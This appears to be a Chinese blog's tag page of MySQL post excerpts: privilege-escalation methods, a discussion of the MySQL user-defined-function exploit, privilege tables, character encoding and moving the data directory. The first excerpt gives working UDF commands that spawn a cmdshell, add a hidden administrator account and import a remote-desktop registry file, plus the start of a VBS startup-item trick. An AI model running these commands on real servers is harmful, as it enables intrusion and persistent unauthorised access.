Entries Tagged ‘MySQL’:

mysql提权方法四则

本文是转载,仅供系统管理人员安全防护参考之用!
一 UDF提权
这类提权方法我想大家已经知道了,我大致写一下,具体语句如下:
create function cmdshell returns string soname ’udf.dll’
select cmdshell(’net user iis_user 123!@#abcABC /add’);
select cmdshell(’net localgroup administrators iis_user /add’);
select cmdshell(’regedit /s d:\web\3389.reg’);
drop function cmdshell;
select cmdshell(’netstat -an’);
二 VBS启动项提权
create table a (cmd text);
insert into a values (”set wshshell=createobject (””wscript.shell””) ” );
insert into a values (”a=wshshell.run (””cmd.exe /c net user iis_user [...]

Tags: ,

Leave a Comment

利用MySQL Func提升权限

前不久网上公开了一个MySQL Func的漏洞,讲的是使用MySQL创建一个自定义的函数,然后通过这个函数来攻击服务器。最早看到相关的报道是在o-otik上,但是公布的是针对 Unix系统的Exploit,并且成功率也不是很高.而近期,国内有高手放出针对Win系统的相关文章,于是我马上找来与朋友一同研究.
其实我们早就能想到.当我们在对MSSQL\Oracle数据库进行攻击的时候,得到了最数据库中高权限的帐户,往往都是执行特殊的扩展过程或者函数来 进行攻击的。比如MSSQL有Xp_cmdshell,Oracle可以通过Msvcrt.dll来创建一个特殊的函数.而我们却始终没有想到,作为流行 的数据库软件之一的MySQL,也是可以进行函数的创建的.由此看来,MySQL的这个漏洞不应称为漏洞而仅仅是一个技术而已.

Tags: ,

Leave a Comment

MySQL权限详解

一.权限表
mysql数据库中的3个权限表:user 、db、 host
权限表的存取过程是:
1)先从user表中的host、 user、 password这3个字段中判断连接的IP、用户名、密码是否存在表中,存在则通过身份验证;
2) 通过权限验证,进行权限分配时,按照user?db?tables_priv?columns_priv的顺序进行分配。即先检查全局权限表 user,如果user中对应的权限为Y,则此用户对所有数据库的权限都为Y,将不再检查db, tables_priv,columns_priv;如果为N,则到db表中检查此用户对应的具体数据库,并得到db中为Y的权限;如果db中为N,则检 查tables_priv中此数据库对应的具体表,取得表中的权限Y,以此类推。
二.MySQL各种权限(共27个)
(以下操作都是以root身份登陆进行grant授权,以p1@localhost身份登陆执行各种命令。)
1. usage
连接(登陆)权限,建立一个用户,就会自动授予其usage权限(默认授予)。
mysql> grant usage on *.* to ‘p1′@’localhost’ identified by ‘123′;

Tags:

Comments (1)

MySQL编码机制

大家都知道从 MySQL4.1 版本开始,支持多种编码,包括我们熟知的 latin1、gbk、utf8、big5 等等,还有一些我们闻所未闻的。
在使用 PHP 连接 MySQL 查询出来的数据有的时候居然会是乱码,关于乱码的解决首先我们要了解 MySQL 的编码机制。
拿 Discuz! 论坛为例,Discuz! 论坛在连接 MySQL 后会立即执行一个设定(见include/db_mysql.class.php ):
@mysql_query(”SET character_set_connection=$dbcharset, character_set_results=$dbcharset, character_set_client=binary”, $this->link);
此三处的字符设定很大程度上会解决乱码问题,那么这三个设定具体有什么作用呢?如果我们了解了 MySQL 的编码机制,就可以避免在安装插件及平时的操作过程中产生乱码,还可以自行对论坛的数据进行转码。

Tags:

Leave a Comment

更改MySQL数据库默认目录

文章来源于网络,经测试直接修改/usr/local/etc/rc.d/mysql-server文件中
${mysql_dbdir=”/home/db/mysql”}即可正常使用。
原文如下: 
MySQL默认的数据文件存储目录为/var/lib/mysql。假如要把MySQL目录移到/home/data下需要进行下面几步:
  1、home目录下建立data目录
  cd /home
  mkdir data
  2、把MySQL服务进程停掉:
  mysqladmin -u root -p shutdown
  3、把/var/lib/mysql整个目录移到/home/data
  mv /var/lib/mysql /home/data/
  这样就把MySQL的数据文件移动到了/home/data/mysql下

Tags:

Leave a Comment